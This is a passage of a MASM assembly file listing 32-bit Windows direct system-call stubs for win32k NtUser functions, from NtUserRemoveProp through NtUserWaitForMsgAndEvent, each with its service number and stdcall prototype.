STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4626 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRemoveProp ENDP ; ULONG __stdcall NtUserResolveDesktopForWOW( ULONG arg_01 ); NtUserResolveDesktopForWOW PROC STDCALL arg_01:DWORD mov eax , 4627 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserResolveDesktopForWOW ENDP ; ULONG __stdcall NtUserSBGetParms( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSBGetParms PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4628 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSBGetParms ENDP ; ULONG __stdcall NtUserScrollDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserScrollDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4629 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserScrollDC ENDP ; ULONG __stdcall NtUserScrollWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserScrollWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4630 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserScrollWindowEx ENDP ; ULONG __stdcall NtUserSelectPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSelectPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4631 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSelectPalette ENDP ; ULONG __stdcall NtUserSendInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSendInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4632 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSendInput ENDP ; ULONG __stdcall NtUserSetActiveWindow( ULONG arg_01 ); NtUserSetActiveWindow PROC STDCALL arg_01:DWORD mov eax , 4633 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetActiveWindow ENDP ; ULONG __stdcall NtUserSetAppImeLevel( ULONG arg_01 , ULONG arg_02 ); NtUserSetAppImeLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4634 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetAppImeLevel ENDP ; ULONG __stdcall NtUserSetCapture( ULONG arg_01 ); NtUserSetCapture PROC STDCALL arg_01:DWORD mov eax , 4635 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetCapture ENDP ; ULONG __stdcall NtUserSetChildWindowNoActivate( ULONG arg_01 ); NtUserSetChildWindowNoActivate PROC STDCALL arg_01:DWORD mov eax , 4636 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetChildWindowNoActivate ENDP ; ULONG __stdcall NtUserSetClassLong( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetClassLong PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4637 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetClassLong ENDP ; ULONG __stdcall NtUserSetClassWord( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetClassWord PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4638 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetClassWord ENDP ; ULONG __stdcall NtUserSetClipboardData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetClipboardData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4639 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetClipboardData ENDP ; ULONG __stdcall NtUserSetClipboardViewer( ULONG arg_01 ); NtUserSetClipboardViewer PROC STDCALL arg_01:DWORD mov eax , 4640 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetClipboardViewer ENDP ; ULONG __stdcall NtUserSetCursor( ULONG arg_01 ); NtUserSetCursor PROC STDCALL arg_01:DWORD mov eax , 4641 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetCursor ENDP ; ULONG __stdcall NtUserSetCursorContents( ULONG arg_01 , ULONG arg_02 ); NtUserSetCursorContents PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4642 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetCursorContents ENDP ; ULONG __stdcall NtUserSetCursorIconData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetCursorIconData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4643 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetCursorIconData ENDP ; ULONG __stdcall NtUserSetFocus( ULONG arg_01 ); NtUserSetFocus PROC STDCALL arg_01:DWORD mov eax , 4644 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetFocus ENDP ; ULONG __stdcall NtUserSetImeHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserSetImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4645 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserSetImeHotKey ENDP ; ULONG __stdcall NtUserSetImeInfoEx( ULONG arg_01 ); NtUserSetImeInfoEx PROC STDCALL arg_01:DWORD mov eax , 4646 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetImeInfoEx ENDP ; ULONG __stdcall NtUserSetImeOwnerWindow( ULONG arg_01 , ULONG arg_02 ); NtUserSetImeOwnerWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4647 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetImeOwnerWindow ENDP ; ULONG __stdcall NtUserSetInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4648 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetInformationThread ENDP ; ULONG __stdcall NtUserSetInternalWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetInternalWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4649 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetInternalWindowPos ENDP ; ULONG __stdcall NtUserSetKeyboardState( ULONG arg_01 ); NtUserSetKeyboardState PROC STDCALL arg_01:DWORD mov eax , 4650 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetKeyboardState ENDP ; ULONG __stdcall NtUserSetMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4651 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetMenu ENDP ; ULONG __stdcall NtUserSetMenuContextHelpId( ULONG arg_01 , ULONG arg_02 ); NtUserSetMenuContextHelpId PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4652 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetMenuContextHelpId ENDP ; ULONG __stdcall NtUserSetMenuDefaultItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetMenuDefaultItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4653 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetMenuDefaultItem ENDP ; ULONG __stdcall NtUserSetMenuFlagRtoL( ULONG arg_01 ); NtUserSetMenuFlagRtoL PROC STDCALL arg_01:DWORD mov eax , 4654 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetMenuFlagRtoL ENDP ; ULONG __stdcall NtUserSetObjectInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetObjectInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4655 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetObjectInformation ENDP ; ULONG __stdcall NtUserSetParent( ULONG arg_01 , ULONG arg_02 ); NtUserSetParent PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4656 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetParent ENDP ; ULONG __stdcall NtUserSetProcessWindowStation( ULONG arg_01 ); NtUserSetProcessWindowStation PROC STDCALL arg_01:DWORD mov eax , 4657 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetProcessWindowStation ENDP ; ULONG __stdcall NtUserGetProp( ULONG arg_01 , ULONG arg_02 ); NtUserGetProp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4658 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetProp ENDP ; ULONG __stdcall NtUserSetProp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetProp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4659 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetProp ENDP ; ULONG __stdcall NtUserSetScrollInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetScrollInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4660 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetScrollInfo ENDP ; ULONG __stdcall NtUserSetShellWindowEx( ULONG arg_01 , ULONG arg_02 ); NtUserSetShellWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4661 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetShellWindowEx ENDP ; ULONG __stdcall NtUserSetSysColors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetSysColors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4662 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetSysColors ENDP ; ULONG __stdcall NtUserSetSystemCursor( ULONG arg_01 , ULONG arg_02 ); NtUserSetSystemCursor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4663 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetSystemCursor ENDP ; ULONG __stdcall NtUserSetSystemMenu( ULONG arg_01 , ULONG arg_02 ); NtUserSetSystemMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4664 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetSystemMenu ENDP ; ULONG __stdcall NtUserSetSystemTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetSystemTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4665 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetSystemTimer ENDP ; ULONG __stdcall NtUserSetThreadDesktop( ULONG arg_01 ); NtUserSetThreadDesktop PROC STDCALL arg_01:DWORD mov eax , 4666 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetThreadDesktop ENDP ; ULONG __stdcall NtUserSetThreadLayoutHandles( ULONG arg_01 , ULONG arg_02 ); NtUserSetThreadLayoutHandles PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4667 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetThreadLayoutHandles ENDP ; ULONG __stdcall NtUserSetThreadState( ULONG arg_01 , ULONG arg_02 ); NtUserSetThreadState PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4668 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetThreadState ENDP ; ULONG __stdcall NtUserSetTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4669 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetTimer ENDP ; ULONG __stdcall NtUserSetProcessDPIAware( ); NtUserSetProcessDPIAware PROC STDCALL mov eax , 4670 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserSetProcessDPIAware ENDP ; ULONG __stdcall NtUserSetWindowCompositionAttribute( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowCompositionAttribute PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4671 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowCompositionAttribute ENDP ; ULONG __stdcall NtUserSetWindowDisplayAffinity( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowDisplayAffinity PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4672 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowDisplayAffinity ENDP ; ULONG __stdcall NtUserSetWindowFNID( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowFNID PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4673 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowFNID ENDP ; ULONG __stdcall NtUserSetWindowLong( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetWindowLong PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4674 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetWindowLong ENDP ; ULONG __stdcall NtUserSetWindowPlacement( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowPlacement PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4675 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowPlacement ENDP ; ULONG __stdcall NtUserSetWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserSetWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4676 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserSetWindowPos ENDP ; ULONG __stdcall NtUserSetWindowRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4677 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowRgn ENDP ; ULONG __stdcall NtUserGetWindowRgnEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetWindowRgnEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4678 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetWindowRgnEx ENDP ; ULONG __stdcall NtUserSetWindowRgnEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowRgnEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4679 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowRgnEx ENDP ; ULONG __stdcall NtUserSetWindowsHookAW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowsHookAW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4680 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowsHookAW ENDP ; ULONG __stdcall NtUserSetWindowsHookEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserSetWindowsHookEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4681 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserSetWindowsHookEx ENDP ; ULONG __stdcall NtUserSetWindowStationUser( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetWindowStationUser PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4682 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetWindowStationUser ENDP ; ULONG __stdcall NtUserSetWindowWord( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowWord PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4683 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowWord ENDP ; ULONG __stdcall NtUserSetWinEventHook( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserSetWinEventHook PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4684 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserSetWinEventHook ENDP ; ULONG __stdcall NtUserShowCaret( ULONG arg_01 ); NtUserShowCaret PROC STDCALL arg_01:DWORD mov eax , 4685 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserShowCaret ENDP ; ULONG __stdcall NtUserShowScrollBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserShowScrollBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4686 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserShowScrollBar ENDP ; ULONG __stdcall NtUserShowWindow( ULONG arg_01 , ULONG arg_02 ); NtUserShowWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4687 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserShowWindow ENDP ; ULONG __stdcall NtUserShowWindowAsync( ULONG arg_01 , ULONG arg_02 ); NtUserShowWindowAsync PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4688 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserShowWindowAsync ENDP ; ULONG __stdcall NtUserSoundSentry( ); NtUserSoundSentry PROC STDCALL mov eax , 4689 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserSoundSentry ENDP ; ULONG __stdcall NtUserSwitchDesktop( ULONG arg_01 , ULONG arg_02 ); NtUserSwitchDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4690 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSwitchDesktop ENDP ; ULONG __stdcall NtUserSystemParametersInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSystemParametersInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4691 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSystemParametersInfo ENDP ; ULONG __stdcall NtUserTestForInteractiveUser( ULONG arg_01 ); NtUserTestForInteractiveUser PROC STDCALL arg_01:DWORD mov eax , 4692 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserTestForInteractiveUser ENDP ; ULONG __stdcall NtUserThunkedMenuInfo( ULONG arg_01 , ULONG arg_02 ); NtUserThunkedMenuInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4693 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserThunkedMenuInfo ENDP ; ULONG __stdcall NtUserThunkedMenuItemInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserThunkedMenuItemInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4694 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserThunkedMenuItemInfo ENDP ; ULONG __stdcall NtUserToUnicodeEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserToUnicodeEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4695 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserToUnicodeEx ENDP ; ULONG __stdcall NtUserTrackMouseEvent( ULONG arg_01 ); NtUserTrackMouseEvent PROC STDCALL arg_01:DWORD mov eax , 4696 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserTrackMouseEvent ENDP ; ULONG __stdcall NtUserTrackPopupMenuEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserTrackPopupMenuEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4697 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserTrackPopupMenuEx ENDP ; ULONG __stdcall NtUserCalculatePopupWindowPosition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserCalculatePopupWindowPosition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4698 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserCalculatePopupWindowPosition ENDP ; ULONG __stdcall NtUserCalcMenuBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserCalcMenuBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4699 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserCalcMenuBar ENDP ; ULONG __stdcall NtUserPaintMenuBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserPaintMenuBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4700 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserPaintMenuBar ENDP ; ULONG __stdcall NtUserTranslateAccelerator( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserTranslateAccelerator PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4701 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserTranslateAccelerator ENDP ; ULONG __stdcall NtUserTranslateMessage( ULONG arg_01 , ULONG arg_02 ); NtUserTranslateMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4702 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserTranslateMessage ENDP ; ULONG __stdcall NtUserUnhookWindowsHookEx( ULONG arg_01 ); NtUserUnhookWindowsHookEx PROC STDCALL arg_01:DWORD mov eax , 4703 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnhookWindowsHookEx ENDP ; ULONG __stdcall NtUserUnhookWinEvent( ULONG arg_01 ); NtUserUnhookWinEvent PROC STDCALL arg_01:DWORD mov eax , 4704 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnhookWinEvent ENDP ; ULONG __stdcall NtUserUnloadKeyboardLayout( ULONG arg_01 ); NtUserUnloadKeyboardLayout PROC STDCALL arg_01:DWORD mov eax , 4705 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnloadKeyboardLayout ENDP ; ULONG __stdcall NtUserUnlockWindowStation( ULONG arg_01 ); NtUserUnlockWindowStation PROC STDCALL arg_01:DWORD mov eax , 4706 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUnlockWindowStation ENDP ; ULONG __stdcall NtUserUnregisterClass( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUnregisterClass PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4707 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUnregisterClass ENDP ; ULONG __stdcall NtUserUnregisterUserApiHook( ); NtUserUnregisterUserApiHook PROC STDCALL mov eax , 4708 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserUnregisterUserApiHook ENDP ; ULONG __stdcall NtUserUnregisterHotKey( ULONG arg_01 , ULONG arg_02 ); NtUserUnregisterHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4709 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserUnregisterHotKey ENDP ; ULONG __stdcall NtUserUpdateInputContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUpdateInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4710 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUpdateInputContext ENDP ; ULONG __stdcall NtUserUpdateInstance( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUpdateInstance PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4711 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUpdateInstance ENDP ; ULONG __stdcall NtUserUpdateLayeredWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtUserUpdateLayeredWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4712 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtUserUpdateLayeredWindow ENDP ; ULONG __stdcall NtUserGetLayeredWindowAttributes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetLayeredWindowAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4713 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetLayeredWindowAttributes ENDP ; ULONG __stdcall NtUserSetLayeredWindowAttributes( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetLayeredWindowAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4714 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetLayeredWindowAttributes ENDP ; ULONG __stdcall NtUserUpdatePerUserSystemParameters( ULONG arg_01 ); NtUserUpdatePerUserSystemParameters PROC STDCALL arg_01:DWORD mov eax , 4715 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserUpdatePerUserSystemParameters ENDP ; ULONG __stdcall NtUserUserHandleGrantAccess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUserHandleGrantAccess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4716 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUserHandleGrantAccess ENDP ; ULONG __stdcall NtUserValidateHandleSecure( ULONG arg_01 ); NtUserValidateHandleSecure PROC STDCALL arg_01:DWORD mov eax , 4717 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserValidateHandleSecure ENDP ; ULONG __stdcall NtUserValidateRect( ULONG arg_01 , ULONG arg_02 ); NtUserValidateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4718 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserValidateRect ENDP ; ULONG __stdcall NtUserValidateTimerCallback( ULONG arg_01 ); NtUserValidateTimerCallback PROC STDCALL arg_01:DWORD mov eax , 4719 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserValidateTimerCallback ENDP ; ULONG __stdcall NtUserVkKeyScanEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserVkKeyScanEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4720 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserVkKeyScanEx ENDP ; ULONG __stdcall NtUserWaitForInputIdle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserWaitForInputIdle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4721 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserWaitForInputIdle ENDP ; ULONG __stdcall NtUserWaitForMsgAndEvent( ULONG arg_01 ); NtUserWaitForMsgAndEvent PROC STDCALL arg_01:DWORD mov eax , 4722 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserWaitForMsgAndEvent ENDP ; ULONG __stdcall NtUserWaitMessage( 